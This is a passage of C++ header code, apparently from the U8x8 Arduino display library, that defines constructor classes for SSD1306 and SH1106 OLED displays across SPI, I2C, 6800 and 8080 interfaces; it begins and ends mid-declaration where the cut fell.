uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_72X40_ER_8080 : public U8X8 { public: U8X8_SSD1306_72X40_ER_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_72X40_ER_SW_I2C : public U8X8 { public: U8X8_SSD1306_72X40_ER_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_72X40_ER_HW_I2C : public U8X8 { public: U8X8_SSD1306_72X40_ER_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_72X40_ER_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_72X40_ER_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_96X40_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_96X40_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_96X40_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X40_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_96X40_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X40_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_96X40_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_96X40_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_96X40_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X40_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_96X40_6800 : public U8X8 { public: U8X8_SSD1306_96X40_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_96X40_8080 : public U8X8 { public: U8X8_SSD1306_96X40_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_96X39_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_96X39_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_96X39_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X39_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_96X39_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X39_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_96X39_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_96X39_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_96X39_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_96X39_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_96X39_6800 : public U8X8 { public: U8X8_SSD1306_96X39_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_96X39_8080 : public U8X8 { public: U8X8_SSD1306_96X39_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_96X40_SW_I2C : public U8X8 { public: U8X8_SSD1306_96X40_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_96X40_HW_I2C : public U8X8 { public: U8X8_SSD1306_96X40_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_96X40_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_96X40_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_96X39_SW_I2C : public U8X8 { public: U8X8_SSD1306_96X39_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_96X39_HW_I2C : public U8X8 { public: U8X8_SSD1306_96X39_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_96X39_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_96X39_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1106_128X64_NONAME_4W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X64_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1106_128X64_NONAME_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X64_NONAME_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X64_NONAME_3W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X64_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1106_128X64_NONAME_3W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1106_128X64_NONAME_6800 : public U8X8 { public: U8X8_SH1106_128X64_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X64_NONAME_8080 : public U8X8 { public: U8X8_SH1106_128X64_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X64_VCOMH0_4W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1106_128X64_VCOMH0_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X64_VCOMH0_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X64_VCOMH0_3W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1106_128X64_VCOMH0_3W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1106_128X64_VCOMH0_6800 : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X64_VCOMH0_8080 : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X64_WINSTAR_4W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1106_128X64_WINSTAR_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X64_WINSTAR_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_128X64_WINSTAR_3W_SW_SPI : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1106_128X64_WINSTAR_3W_HW_SPI : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1106_128X64_WINSTAR_6800 : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X64_WINSTAR_8080 : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_128X64_NONAME_SW_I2C : public U8X8 { public: U8X8_SH1106_128X64_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1106_128X64_NONAME_HW_I2C : public U8X8 { public: U8X8_SH1106_128X64_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1106_128X64_NONAME_2ND_HW_I2C : public U8X8 { public: U8X8_SH1106_128X64_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1106_128X64_VCOMH0_SW_I2C : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1106_128X64_VCOMH0_HW_I2C : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1106_128X64_VCOMH0_2ND_HW_I2C : public U8X8 { public: U8X8_SH1106_128X64_VCOMH0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1106_128X64_WINSTAR_SW_I2C : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1106_128X64_WINSTAR_HW_I2C : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1106_128X64_WINSTAR_2ND_HW_I2C : public U8X8 { public: U8X8_SH1106_128X64_WINSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1106_72X40_WISE_4W_SW_SPI : public U8X8 { public: U8X8_SH1106_72X40_WISE_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1106_72X40_WISE_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_72X40_WISE_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_72X40_WISE_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_72X40_WISE_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_72X40_WISE_3W_SW_SPI : public U8X8 { public: U8X8_SH1106_72X40_WISE_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class 